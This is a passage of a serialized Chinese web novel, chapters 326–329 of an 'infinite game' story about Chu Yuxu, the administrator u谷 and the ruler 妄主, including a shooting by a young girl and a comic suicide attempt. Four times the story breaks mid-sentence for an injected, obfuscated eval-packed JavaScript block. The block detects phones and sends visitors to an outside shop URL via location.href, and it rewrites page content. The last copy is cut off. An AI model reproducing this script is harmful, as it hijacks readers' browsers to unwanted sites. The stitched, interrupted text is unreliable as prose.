齐无尽感觉身上的剧痛正在缓缓远去,轻飘飘的感觉升起。眼皮越来越沉重,视野里的火光和初与序的身影都在渐渐模糊。 “你……”他犹豫了好半天,像是下定了决定,才一字一句地说,“初与序,我……” 初与序忽然伸出手,竖起食指放在自己唇中央,阻止了他即将出口的话。 然后她垂下眼睫,目光落在他逐渐涣散的瞳孔上,轻轻地说: “齐无尽,以前打断过你两根肋骨,你挺痛的,抱歉。现在一切都结束了,你可以好好睡一觉,可以走出澳门。” “再见,齐无尽。我说,再见。” 齐无尽觉得很困,很困。视野彻底暗了下去,只剩下模糊的光斑。他已经看不清初与序的脸了,但听清了她后面的话,却不明白她为什么要说“再见”。 他感觉到初与序站起了身,随后似乎很轻很轻地叹了口气。 那声叹息太轻了,刚一出口,就被周围灼热的风、燃烧的噼啪声,以及远处隐约传来的警笛声吹散,了无痕迹。 在意识彻底沉入黑暗前,齐无尽微微动了动嘴唇,无声地对那个快要转身离去的背影,说: 那就再见。 火焰在身后熊熊燃烧,吞噬着一切过往、罪孽、与未尽之言。而前方,是深不见底的永恒夜空,孕育着不知何时才会到来的黎明。 在无人察觉的铂金皇宫后道,两个神色仓惶的男人正没命地狂奔。 “……妈的!张景这次肯定载了!那船上炸成那样,u盘又直接送到了警局门口!”跑在前面的男人骂道,“趁条子没摸清咱们,干净跑路!” “最好……最好那个姓齐的也直接死在船上!”后面的男人喘着气,“少一个关键证人,咱们活下来就机会就大一点!妈的,都是张景那老东西惹出来的……” “闭嘴!快跑!”前面的人低喝。 就在他们即将拐入另一条路时,拐弯处忽然走出一个小小的身影。 她脚步很轻,无声无息。就这么背着手站定在前方,挡住了两个人的去路。两个男人猛地刹住脚步。 “谁……谁?!”前面的男人惊魂未定,眯起眼看向逆光中的轮廓。 等他们眼睛适应了光线,看清挡路者的面容时,他们的表情就像大白天见了鬼,脸上血色消失! “是……是你!”后面的男人颤抖地指向那个身影。 那是个十几岁的小姑娘,一头刺眼的鲜红色头发,被乖巧地扎成两个小丸子。她穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237705|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净的浅粉色毛衣,脸上还带着婴儿肥,皮肤白皙。此刻她正微微歪着头看着他们,嘴角向上翘起甜甜的微笑。 “当然是我呀。”齐无恙清脆道。 她往前蹦跳了一小步,背在身后的手没有拿出来,睁着大眼睛一眨不眨地看着他们:“叔叔,你们刚才跑得好快哦。在说什么呀?我好像听到……你们希望我哥哥怎么样?” 前面的男人浑身一僵,下意识地连忙摆手:“没、没有!你听错了!我们什么都没说!我们就是……就是路过!” 旁边的男人却猛地反应过来,抓了一把头发,瞪了同伴一眼:“你怕个屁!看清楚!她就一个十一岁小丫头片子!毛都没长齐!” 他转过头恶狠狠地盯着齐无恙,但只看到她脸上甜美的笑容。 “我哥哥,还有初姐姐,他们晚上去告别号邮轮啦。”她自顾自地说下去,“可是,天都黑了好久啦,我等了好久好久,都没看到他们回来。” “我有点担心他们。我听人说,他们出现在那艘船上,是因为你们的老板,张景叔叔。” 她歪了歪头:“张景叔叔……现在应该已经不在了吧?船好像烧起来了呢。” 两个男人的脸色变得难看起来。 “但是呀,我还是觉得有点不解气呢。”齐无恙的声音带上一点点天真无邪的苦恼,“所以,我来找你们……玩一玩。” 话落,她一直背在伸手的手拿了上来。 手里握着一把闪着冷光的——枪。 枪口稳稳握在她手里,对准前方男人的眉心。 男人脸上的表情瞬间僵住,难以置信地张大嘴,转身就想跑,齐无恙已经扣下了扳机,动作干脆利落,完全看不出是一个十一岁小姑娘干出来的事。 枪响在狭窄的道路里回荡,压过了远处的喧嚣。男人的额头上绽放出一个血洞,他身体晃了晃,直挺挺倒下去,砸在潮湿肮脏的地板上。 另一人被这突如其来的杀戮惊得魂飞魄散!他看着同伴瞬间毙命,寒意直冲头顶!他怪叫一声,转身就朝着后方跑去。 齐无恙站在原地,没去追。 她微微移动了一下手臂,将枪口对准了那个疯狂逃窜的背影。眯起一只眼,然后,食指再次轻轻扣下。 砰——! 【恭喜各位玩家通关副本《昨日港》。】 【张景确认死亡,死于“告别号”爆炸现场,尸骸于火场寻获。多名集团骨干以及关联富豪于“告别号”爆炸中同时覆灭。随张景势力崩塌以及匿名证据(u盘)曝光,该场所被澳门警方突击查处,铂金皇宫顶层共计48名未成年被困获救,已移交社会福利机构及家属。相关地下拍卖、人口交易及契债务契约链条被彻底斩断。相关涉案人员均被警方控制,接受调查。】 【一整个腐败的王国终于在澳门奢靡的夜空下焚尽,火焰静静地燃烧,烧掉债据,烧掉契约,烧掉那些用香水掩盖的脓疮。然后,大海沉默,夜空如常,霓虹依旧亮起,新的赌局开场。】 【本次副本奖励已发放到各位玩家面板,可打开查看。】 【灰烬之下,必有新生。新生之前,是彻底的毁灭。】 327.真真假假 初与序又一次一个人回到D019次列车上。 J23等在驾驶座上,看见她独自进来,嘴唇动了动,最终还是落寞地把安慰的话咽了下去。初与序脸上没什么表情,也像是什么都不想再说。 J23垂下眼,默默启动了列车。 初与序在她常坐的靠窗位置坐下,侧过脸看向窗外。外面依然是永无止境的暴雪,白茫茫一片,看不到任何颜色和形状,只剩下风卷着雪粒,疯狂地扑打在车窗上。 列车在永冬之间行驶,开到半途,车身突然一震,像被什么东西锁住了轮胎,和轨道发出刺耳的摩擦声,硬生生停了下来。 惯性让初与序身体前倾,她抬手撑住前方座椅靠背,皱起眉抬头。 “怎么回事?”J23也是一愣,检查面前的仪表盘:“没问题啊?动力系统正常,轨道感应也对。” 她又尝试推动操纵杆,列车纹丝不动。紧接着,车门忽然自动向外打开,凛冽刺骨的寒风灌满了车厢,扑了两人满头满脸。外面的暴雪更加肆虐,只能看到一片白,看久了眼睛疼。 初与序缓缓从座位上站起来:“我出去看看,你等一下。” “啊?”J23忙转过身,“别下去!没有玩家中途下过车,连执行官都没下去过,谁知道这外面到底是什么?你等等,我联系其他执行官看看。” “没事。”初与序淡淡道,已经迈步走向敞开的车门。 车外是另一个世界。 不是永冬之城,也不是副本场景。这里雪狂风厉,天空是沉甸甸的浅灰色,除了风雪呼啸,再听不见别的声音。 初与序踩着到小腿深的积雪,深一脚浅一脚地往前走。雪粒砸在脸上很快融化,不过几分钟,她的头发和衣服上迅速落满积雪。 空气冷得刺肺,但在这纯粹的寒冷中,却隐隐约约飘着一丝熟悉的、清冽的苦香,像永冬之城那些勿忘我的气息,融合在冰雪里。 她在这片雪原里走了大概五六分钟,忽然停下脚步,微微侧过脸,看向自己身后不远处—— 一个男人站在那里。 卷发,黑色羽绒服,裹着灰色围巾,双手插兜。一双绿眼睛在漫天飞雪里幽幽地盯着她,沉着脸,没给她什么好表情。 初与序转过身,正面看着他:“u谷。” 【u谷】冷哼一声,迈开腿一步步走到她面前,阴阳怪气道:“哟,终于有空跟我们日理万机的初小姐见面了?还有闲心在这儿赏雪景?” “那你呢?”初与序反问,“管理员大人。不去妄主那儿汇报你兢兢业业的卧底工作进度,跑来这里弄停送我回城的车?” 她往前走了半步,能感受到对方身上散发的敌意。 “你那么希望我死,为什么现在又来找我?”她冷冷道。 【u谷】撇了撇嘴,嗤笑一声:“你命大,我害你那么多次,你不也没死成吗?” “入侵永冬之城的外来能量是你,系统第一次被简单破坏,导致玩家队伍强制混编,是你干的。你希望我在副本里遇到想杀我的玩家,借他们的手除掉我。可惜我的队伍和你的队伍混编到了一起。”初与序一条条数过去,“我们计划摧毁系统,也是你举报的。你想让执行官给我判死刑,但死的却是意哥。” “五百多次轮回,我有哪一次真的被你害死过吗?”初与序最后问。 “当然有。”【u谷】扬起眉毛,像报数一样,“第五次,第十四次,第三十二次,第五十八次……这么多次的你都被我逼到了绝路。你们最后计划失败,有一大半原因也是因为我。” 他盯着初与序:“不过,像你这样能提前猜到凶手是我,还能活到现在的,确实不多,只有第二次和第十八次。” 初与序点了点头,没什么表情:“看得出来你很恨我,也很恨妄主。” 【u谷】没说话,只是冷冷地看着她。 初与序继续道:“据我所知,你在现实世界家庭美满,人生顺遂,甚至根本不在中国。是和永冬之城八竿子打不着的人。为什么妄主一定要把你拉进来,还扣着不放?” 她轻飘飘的语气让【u谷】脸色瞬间变了,那是被长期压抑的憋屈和怒火猛地蹿上来的表情。 “你不知道?”他咬牙切齿道,“我他妈自己也不知道我身上到底有什么能力,值得被妄主盯上!” “其实我小时候不是全待在英国,我来过中国一趟。我妈是英国人,我爸是中国人,他在中国开了一家精神病院。你猜是哪家?对着,就是妄主小时候待的那家,善什么佑。但我爸一直瞒着我和我妈,我他妈哪里知道他会跟这个鬼地方有关?” “我十六岁时得了重病,很重,重到英国所有医院都说没救了,让准备后事。我爸跟我妈说他有办法,把我接到了中国,送到了他开的那家医院。我当时烧得人事不省,连自己怎么上的飞机都不知道。” 他抬起手抓了一把头发,卷发被他揉得乱七八糟,显然对以下要说的话很烦恼:“他们给我打吊瓶,说是什么特效药,放屁!” 【u谷】的表情变得古怪起来,像是一点自嘲,又像是愧疚:“那时候医院的人正在利用妄主体内的精神力创造永冬之城,但祂的精神力也能用来救人。他们强行抽取了祂一大半精神力,灌进我体内,把我救活了。” 他看向初与序:“听别的管理员说,那之后很长一段时间,妄主都因为精神力过度损耗,高烧昏迷——但妄主没跟我提过,可能不记得了。而医院那帮畜生还在拿祂做实验。” “我靠!那我哪能知道我是这么被救回来的?!我也是受害者啊!简直无妄之灾!” 初与序安静地听着,等【u谷】发泄完,才平静开口:“所以妄主把你拉进来,到底是为了什么?祂看起来不像只是为了报仇。” “那确实不是。”【u谷】抬手随意挥了挥,“祂的精神力当时被强行撕开,一大半留在了我的体内。只要我还活在现实,我爸他们就能通过我,间接控制永冬之城。” “妄主想毁掉这里,就必须阻止我爸他们利用我。” “所以,祂就直接把我拽了进来!关在这里!我就像人质一样,被迫跟那群管理员待了几千年!那个初一还喜欢顺走我零食!现在还被派下来当什么卧底!” 他猛地抬头:“祂把我正常的人生彻底毁了!我恨死这里了,恨死祂,也恨死你了。” 初与序点了点头,总结道:“你杀不了妄主,所以你觉得杀了我,妄主就会死,永冬之城就会消失。你就能离开这里,回到你的正常人生去。” “不然呢?”【u谷】道。 初与序抱着胳膊,缓缓道:“但是你有没有想过,妄主自己也希望永冬之城被毁掉。如果只是被人杀死就能达成目的,以祂的性格不等你动手,祂恐怕早就自己了断了。” 【u谷】怔住,绿眼睛里闪过茫然。他皱紧眉:“如果祂并不想毁掉这里呢?祂跟我们管理员的手法是要保护好永冬之城,维持永冬之城的秩序。” “祂当然要这么说。”初与序回答,“现实里善佑医院,以及医院背后的资本仍然盯着永冬之城,他们能掌握永冬之城上层人员一部分的思想,也就是你们管理员。如果他们发现大部分管理员想着毁掉这里,而且还是妄主告诉你们的,恐怕会直接将你们杀死,保护永冬之城。” “现在知道妄主的真实想法估计只有你、初一,和另一位管理员……他很聪明,应该早就猜到了。除了你们三人,不要让其他管理员知道。知道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237706|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人多了,现实里的人多少会察觉,阻拦我们回到现实。” “……有道理,”【u谷】喃喃道,“所以为什么其他人杀妄主不算数?” “根据祂让永冬之城不断进入循环的行为来看,可能只有我杀死祂,才算数。”初与序淡淡道,“永冬之城才能被真正毁掉。” 【u谷】沉默着站在风雪里,卷发和肩头落满白霜。 “这一轮循环的「u谷」被你扔哪里去了?”初与序忽然问。 【u谷】随口道:“之前随便扔进一个副本里了,没看名字,现在估计还困在那儿吧,管他呢。” “回妄主那儿准备过年吧,”初与序伸出手,用手背在他胸口拍了两下,慢条斯理道,“你这一趟下来惹出这么多事,妄主可都看着呢。” 【u谷】听到这话,脸色一下子变得难看,像是吞了几千只苍蝇。 初与序收回手,不再看他,转身朝着列车的方向走去。 “喂!”【u谷】忽然在她身后喊了一声,声音里罕见地带着不确定的探询,“你是真的……想带冬逢初,带景明垂,带我们回现实吗?” 初与序停住了,她站在雪地里背对着【u谷】,几秒后缓缓转过身,脸上的平静变成了冷漠。 “不是。”初与序冷冷道。 【u谷】瞳孔一缩,不可置信地皱起眉。 “和你说实话吧。”初与序看着他,一字一句道,“在《死亡电梯》的副本里,最后我没有把手放到心脏上。” 【u谷】脸上的表情僵住,震惊、难以置信,然后蔓延开来变成理解和骇然。 他看过初与序他们通关《死亡电梯》的记录,最后的环节规则写得明明白白:必须所有玩家同时将手贴上心脏,将他们的精神力灌入心脏,心脏才会爆炸,副本才会结束。 初与序没有贴上去,但心脏还是爆炸了,副本结束了。 如果她没贴上去……那当时贴上去的第五个人,是谁? 不,应该说——让心脏检测到与初与序同样精神力,误认为初与序已经将手贴上去,并且永冬之城还不认可他是真正玩家的人,是谁? 冬逢初…… 这意味着什么,【u谷】太清楚了。 震惊过后,混杂着荒谬和暴怒的情绪冲上心头。他感觉自己像个彻头彻尾的傻瓜,和所有玩家被耍得团团转。寒意顺着他脊椎爬上来,比周围的暴雪更刺骨。初与序看着他眼底翻涌的惊涛骇浪,知道他已经明白了。 如果初与序从进入《死亡电梯》时就早早察觉到了异常,那她后来所有要带玩家回现实的计划都是假的……? “所以你从一开始就没打算带任何人回去?”【u谷】哑声道,“江意的死是个笑话?你根本不在乎永冬之城毁不毁灭,只在乎你自己那点执念?” 初与序沉默了片刻。 风雪更急,几乎要将她的身影吞没。 “不,我在乎。” “我还是会带你们回去。”她表情恢复平淡,转身朝着列车走去,“你只需要把副本里的「u谷」放回永冬之城,然后好好待在管理员庄园里,别再下来了。” 她走了几步,又头也不回丢下一句:“哦对了,把列车修好。” 【u谷】站在原地,脸色青白交错,最终定格成无可奈何。他抬起手,五指虚空一握,又烦躁地松开。索绕在D019次列车车轮上的力量散去。 车厢里,J23看着恢复正常的仪表盘,试探地推了推操纵杆,列车缓缓启动,朝着永冬之城车站的方向重新驶去。 初与序拉开车门,带着一身寒气坐回座位。 J23从后视镜里看了她一眼,她闭着眼靠着车窗,睫毛上未化的雪粒还在微微闪着光。 328.凌晨 凌晨四点左右,列车到站。初与序走下车,一转头,就和等在不远处的两道人影对上了视线。 C13抱着胳膊靠在一根立柱上,冬逢初站在他旁边,穿着黑色大衣,朝着初与序挥了挥手。车站里除了他们三个,空无一人。 初与序走过去,冬逢初立刻贴到她身边,自然地低下头在她的头发上亲了一下,初与序抬头朝他笑了一下。风将他额前的碎发吹乱,露出冬逢初左眼眼尾上的小痣,和初与序左眼上的一样。初与序看着冬逢初这张和自己极为相似的面容,有一种照镜子的错觉。 “诶诶诶!”C13立刻不满,一脸嫌弃地看过来,“这还有个未成年呢!注意点影响!” 说完,他脸上的表情又变得严肃起来,摆了摆手,转身朝处理区大厦走去,“别秀恩爱了,你们俩跟我来,正事。” 初与序和冬逢初并肩跟在他身后,冬逢初握住初与序冻得冰凉泛红的手,塞进了自己大衣口袋里。他自己的手也跟了进来,捂住她的五指,轻轻揉搓着。 “这几天我和景明垂他们已经把到时候带队进副本的人选敲定了。”冬逢初一边走一边低声说,“一共一百三十位,都是永冬之城的高层玩家。但他们要求知道全部计划,否则拒绝带队。要告诉他们吗?” 初与序想了想,暂时没回答他的问题:“直接让D19把那一万多玩家分进副本就行,还需要带队的人吗?” “理论上不需要,”冬逢初笑了笑,“但没有带队的人就是一锅散沙,副本里变数太多,单靠血誓铃远程控制不一定够。” “等快行动时再把所有计划告诉他们吧。”初与序点了点头,“留在永冬之城这边的呢?” “主要是我,景明垂,向枝冥他们几个。”冬逢初抬头回忆了一下,“都是熟人,剩下的就是那些没被分进副本的玩家。” 他顿了顿,转过头认真地看向初与序:“倒是你。你确定要一个人去找妄主?不用多带一两个人?” 初与序抬起另一只没被他握住的手,轻轻摆了摆,示意不用。 谈话间,他们已经跟着C13走进了处理区大厦。C13在他办公室门前停下,掏出权限卡刷开。 门后……不太像办公室。 更像一个零食储备库,靠墙的货架上密密麻麻堆满了包装袋——薯片、果冻、旺旺雪饼、巧克力,琳琅满目。另一侧被货架挡住,但飘来一阵阵温暖食物的香气,像是面条、豆浆和蒸笼包。 冬逢初走进来,毫不客气地开口:“你这是打算请我们吃个早餐?谢谢啊。” “多大人了还抢小孩子吃的?”C13白了他一眼,但还是转身走向货架后面,那里是个小型厨房。 他动作麻利地端出两盘小蒸笼包,三碗清汤挂面,三杯热豆浆,放在办公室中央那张宽大的茶几上。 初与序看着这丰盛的早餐,狐疑地看向C13:“你平时一个人……早餐吃这么多?” C13理直气壮道:“青春期长身体,懂不懂?等你们俩到了我这个年纪就明白了。” 初与序和冬逢初对视一眼,同时沉默。亲爱的C13小朋友这青春期应该持续了几千年。 于是,凌晨五点,在堆满零食的执行官办公室,三个人围着茶几吃面条、包子,喝豆浆。 冬逢初坐在初与序对面,他抬起眼,就看见初与序正小口小口咬着包子,动作斯文,但在走神。蒸笼的热气氤氲上来,模糊了她小半张脸,还有她身后的玻璃窗。 冬逢初看着,下意识露出柔和的笑意。 C13正呼噜呼噜地吸溜着面条,听到轻笑,抬起头左看看初与序,右看看冬逢初,撇了撇嘴,朝冬逢初道:“你个死恋爱脑。” 他放下筷子,抽了张纸巾擦嘴,朝初与序伸出手:“把你的D栋通行卡给我一下。” 初与序从口袋里抽出卡片,放在他摊开的手掌上。 C13收回手,走到办公桌旁拉开一个抽屉,从里面取出一个很小的,类似圆形磁吸铁的物体,将银色小圆片贴到了通行卡的背面。磁铁一接触到卡片,就亮起一圈幽蓝色的微光,闪烁了三下,然后熄灭。 C13将通行卡还给初与序:“通过这个磁片加卡片,你们就可以回到阁楼了。” “你之前不是问我有没有办法去妄主那边吗?”他指了指初与序手里的卡片,“打开阁楼的门,在门外雪原里一直走,就能通向妄主的宫殿。” “不过那片雪原没有参照物,方向不好辨认。你把通行卡平举,对着不同方向试。磁片感应到正确方向时就会发光,跟着光走,很快就能看到宫殿。” “宫殿再往北走就是管理员庄园,不过你应该用不着去那儿。” 初与序点了点头,说:“谢谢。” C13重新拿起筷子,拨弄着碗里剩下的面条,忽然问道:“你们打算什么时候行动?” “下周吧。”冬逢初想了想。 初与序抿了一口豆浆,抬起眼直直看向C13:“你为什么愿意帮我们?” “如果永冬之城被毁了,你们执行官也会随之一起消失。” C13听完她的问题,放下筷子,靠进沙发里,认真地想了想。大约过了半根烟的时间,他才重新开口: “可能是因为……良心吧。” 这个词从一个执行官,一个半机器人嘴里说出来,带着奇异的重量。 “一开始我根本没想过毁掉永冬之城,也没想过要跟着D19他们掺和进你们玩家的计划里。”C13说,“我只想安安分分地待在我的位置上,做好我的工作,最大的麻烦也就是去维修那些出了bug的副本。” “但我要永远这样下去吗?”他笑容有些苦涩,“每天都看着不同玩家死在副本里,然后亲手把他们的档案调出来,按下‘已死亡’的印章。然后装作什么都不知道,继续我的工作。” 他摇了摇头:“我不想这样。” 他又看向初与序和冬逢初:“我们执行官本质上只是一串代码,可你们玩家呢?你们是真的,会流血,会疼,会害怕,会死,每一条命都是真的。” “我也怕被格式化。”他坦然道,“但如果我们这些机器人都选择沉默,都假装看不见,那还有谁能站出来终结这个循环?总有人要当出头鸟。” “可能每个人年少的时候骨子里都有点英雄主义吧,我想,我也可以去当这个出头鸟。” 他耸了耸肩:“于是呢,我就这么稀里糊涂地加入了你们这支策反队。” C13话锋一转,指了指两个人:“等你们俩回现实了,得给我这个大功臣烧几包薯片,黄瓜味和烧烤味的。还有奶茶,一定要加珍珠,七分糖。不然我半夜站你们床头吓你们俩。” 初与序轻轻笑了一下:“行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237707|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到D栋时,天色微微亮起光,大部分住户的生物钟此刻才刚到进入睡眠的时间,只有几户亮着灯。没有随歌和向枝冥打游戏对骂的声音,整栋楼静悄悄的,远看真的像一栋鬼楼。 初与序回到18楼,走到景明垂门前,抬手敲了敲。 里面很快传来脚步声,景明垂似乎没打算现在就睡,门很快打开。 她穿着宽松的浅紫色卫衣,里面套着黑色短袖,深棕色的长发披散着,多了居家的柔软。看到门口的初与序,她侧身让开:“回来了?进来吧。” 初与序换上门口的拖鞋,跟着景明垂走进客厅,在松软的沙发上坐下。 景明垂看了一眼她眼下的青黑,去倒了杯热可可给她,自己也端了一杯,在她旁边坐下。 初与序打开面板,取出了两台一模一样的黑色相机,将相机并排放在自己和景明垂之间。然后指向左边那台:“这是之前团队赛得到的。” 又指向右侧那台:“这是齐无尽给我的。” 景明垂的目光落到右边那台上面:“打开看看。” 初与序拿起右边那台相机,外壳保养得很好,齐无尽应该经常更换电池,相机屏幕在她按下电源键后亮起,电量显示满格。 相机内部只有一个不到十分钟的视频。 视频的创建信息显示在缩略图下方—— 【拍摄时间】:2021年12月18日 【拍摄地点】:善佑青少年精神病院 初与序和景明垂抬起头,对视了一眼。窗外的雪光透过玻璃,在她们脸上投下模糊的影子。 初与序移开目光,按下了播放键。 管理员庄园某个房间里。 【u谷】站在一个小矮凳上,手里握着一捆粗糙的麻绳。绳子的上端已经绕过屋顶的横梁,打了个死结,垂下来的末端被他挽成了一个绳圈。 他面无表情,像是看透了红尘,又像是单纯地对这个世界失去了希望。 “u谷——来不来玩剧本……我靠!” 一个年轻的管理员欢快地推门进来,话喊到一半,一抬头看见眼前场景,吓得原地蹦了一下。他看着站在矮凳上的【u谷】,又看着那个半空晃晃悠悠的绳套。 “你干嘛?!”管理员扑了过去。 【u谷】慢吞吞地转过头,无神地看着他,用平静到诡异的语气说:“麻绳学姐一直抱着我,有点喘不过气,这就是恋爱的感觉吗?” 管理员目瞪口呆地看着【u谷】,怀疑眼前这位同僚终于在几千年的关押里精神失常了。 【u谷】没理会他的震惊,又转回头,抬手就要把那个绳圈往自己脖子上套。 “诶诶诶!我靠!”管理员魂飞魄散,冲上去死死抱住【u谷】的大腿,用力往下拽,“你这他妈是上吊!不是谈恋爱!清醒点啊兄弟!” 他一边拽一边扭头看向沙发:“初一!你也不拦着点啊!” 初一大腿翘二腿舒舒服服地窝在沙发上,捏起一颗软糖扔进嘴里,扫了扭成一团的两人一眼,没搭理。 “你他妈……松手!”【u谷】被拽得踉跄,试图挣脱。 “松手让你上去表演空中飞人吗?!”管理员脸都憋红了,几乎整个人挂在【u谷】身上,“初一!帮个忙啊快点!他要寻死!” 初一慢条斯理道:“他自己想玩拔河,你让他玩呗。” 329.减刑 管理员咬牙切齿,使出九牛二虎之力终于把【u谷】从矮凳上弄了下来。两人一起跌坐在地毯上,气喘吁吁。 “你……你他妈到底咋了?”管理员撑着膝盖,上气不接下气地问,“刚从永冬之城回来就要上吊?是初一抢你零食了?她虽然经常顺我们零食,也顺了几千年了,我们都习惯了,你也不至于寻思吧!” 初一从沙发里探出半个身子,怒道:“我哪有经常!” 【u谷】四仰八叉躺在地上,惆怅地望着天花板上晃动的绳圈,幽幽道:“我去找初与序了。” “废话。”初一重新窝回去,“本来就是妄主派你们下去盯着初与序的。” “我的意思是,我去找她谈话了。”【u谷】转过头,直勾勾地看着她,“面对面的那种。” “她说,妄主已经知道了我做的所有事,包括且不限于举报他们破坏系统,间接导致江意死亡。” 厅内寂静了几秒钟。 过了一会儿,初一才慢悠悠开口:“哦,那你自求多福吧。我们会给你收尸的。” 管理员一拍大腿,痛心疾首:“u谷啊,你咋想的啊!直接跑去跟初与序摊牌?妄主令令令申申申申申不让我们主动去影响轮回进程!你想方设法在背后搞小动作让初与序死就算了,现在还跑去当面挑衅人家?” 他上下打量着【u谷】:“也就初与序脾气好,不然刚才就给你脑袋拧下来当球踢了。” 【u谷】听完眼神幽怨,面无表情看着那根麻绳:“我觉得我的脖子现在需要跟屋顶来一场酣畅淋漓的拔河。” 管理员头皮发麻,忙道:“别!别激动!人妄主大人肯定不会杀了你!顶多……顶多……” 他“顶多”了半天,也没想出妄主会用什么温和的手段惩罚违反禁令、还差点害死初与序的【u谷】。毕竟那位的心思也只有初与序能猜透。 【u谷】看着他憋不出话的样子,眼神更绝望了。他用比刚才更决绝的速度重新站上矮凳,伸手就去抓那个在半空中晃荡的绳圈。 “让我死!”他悲愤地低吼,“现在就死!立刻!马上!” 管理员大惊失色,再次扑上去抱住他的腰:“不要啊兄弟!冷静!剧本杀就差你一个人了!初一她智商太高,太会骗人了我们根本玩不过她!!求你了!” 【u谷】挣扎得更厉害了。 “吵死了。”初一终于从沙发上站起身,看着快要把屋顶掀翻的两人,叹了口气,往门口走去:“我去找老大,尽量给你争取个减刑,可以了吧?” 【u谷】挣扎的动作瞬间停住了,小鸡啄米般点头,哪还有半点刚才要死要活的样子:“可以!可以!太可以了!初一你就是我亲姐!” 初一扯了扯嘴角,转身走出房间,顺手带上门。离开庄园进入一片雪原,朝着宫殿的方向走。 平日里,只有管理员开会,或者有紧急事务时,宫殿才会稍微有些人气。现在大部分管理员要么窝在庄园里打本,要么不知道跑哪儿干自己的事去,只有三四个执行官在宫殿里走动。 初一随手拉住一个执行官:“妄主现在在哪?” 那执行官停下脚步,想了想,指向宫殿深处:“大人现在应该在书房,比较小的第三间。” 初一点了点头,朝着那个方向走去。 第三间书房的门是单扇的,漆成白色,镶嵌着金色边框。初一在妄主面前向来没什么规矩,没敲门,直接推门而入。 书房里的暖气比走廊足很多,驱散了外面带来的寒意。小阳台的窗帘拉着,一丝雪光从缝隙里透进来。黑暗宽敞的空间里排列着一排排高大的书架,书架上密密麻麻摆满了书。墙边放着几把扶手椅和一张小圆桌。 初一绕过几排书架,走向靠近小阳台的角落。 角落里放着两张单人沙发,中间是一张圆形小桌子。桌上燃烧着蜡烛,几束勿忘我插在旁边的花瓶里,散发着清冽的苦香。 一个人靠在左边那张沙发上,穿着柔软的灰色针织连帽衫,黑长裤,身形单薄,陷在沙发里。右手支在扶手上撑着脸颊,一半翻了一半的书摊开在膝盖上,似乎睡着了。 初一在祂面前蹲下,抬起头看着妄主的睡颜。 发梢柔软地垂落,浅浅掩着眼睫,左眼眼尾淡色的小痣在昏黄的光线下几乎要融进苍白的皮肤里。平日里令人不敢直视的锐利与阴郁在沉睡中化开,透出玉器般的温润。 祂在成为妄主之前也算是个很温柔的人,甚至还带着点初一身上的懒散和开朗。坐上这个位置后,精神力被过度消耗,又要管理手下那群能力强大又麻烦不断的管理员,处境和以前完全不同,没办法再露出笑容。 她正这么出神地看着,妄主忽然抬起一只修长苍白的手,横着挡在初一眼前。 “你醒了?”初一扬起眉。 她抬起手,拨开了那只挡在面前的手,然后直直撞进了一双睁开的银蓝色眼眸里。 像冻结了亿万年的极地冰川,剔透,冰冷,深不见底,又在最深处映着一点烛火跳动的暖色。 妄主没有回话,安静地看着她。初一移开目光,站起身走到另一张沙发里,将自己窝了进去。摸出一根烟,就这桌上蜡烛的火苗点燃。 她吸了一口,吐出青白的烟雾:“猜猜我来找你是为了什么?” 妄主将膝盖上的书倒扣在桌上:“帮u谷减刑。” “没错。”初一对于妄主的预知能力已经见怪不怪了,“他跟初与序友好会谈后,回来就一蹶不振,正在庄园里闹着要上吊,跟麻绳进行一场生死恋。” 妄主很认真地想了想:“我平时对他们很严吗?” “没有啊。”初一用夹着烟的那只手摆了摆,“也就是把谁扔进暴雪原上徒手刨三天冰,不许用精神力,挖不到指定深度不能停。最后又累又饿晕过去,再被拖回来。” “真的,没多严。就是比较……费管理员。” 妄主垂下眼睫,视线落在自己交叠的双手上。那只手很瘦,指节分明,皮肤是久不见天光的苍白,能看见淡青色的血管。 忽然,祂朝初一伸出手。 初一看了那只手一眼,下意识倾身过去,将自己唇间那支刚点燃的烟取下,塞进了妄主食指和中指之间。妄主长指收拢,自然地夹住细长的香烟。 祂将烟递到唇边,浅浅吸了一口。苍白的薄唇间逸出淡薄的烟雾,缭绕着上升,朦胧地笼上祂那双银蓝色的、阴郁的眸子。 “说正事。”初一看着祂吸烟,“u谷那小子你打算怎么办?他这次下去,虽说惹了一堆麻烦,差点把初与序的计划搅黄,还送走了江意,但也算……歪打正着?让初与序那边的进度被迫快了不少。功过相抵?” “禁足吧。”妄主想了半天,想到一个不算太折磨人的法子,“直到下一次循环开始。” “那他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 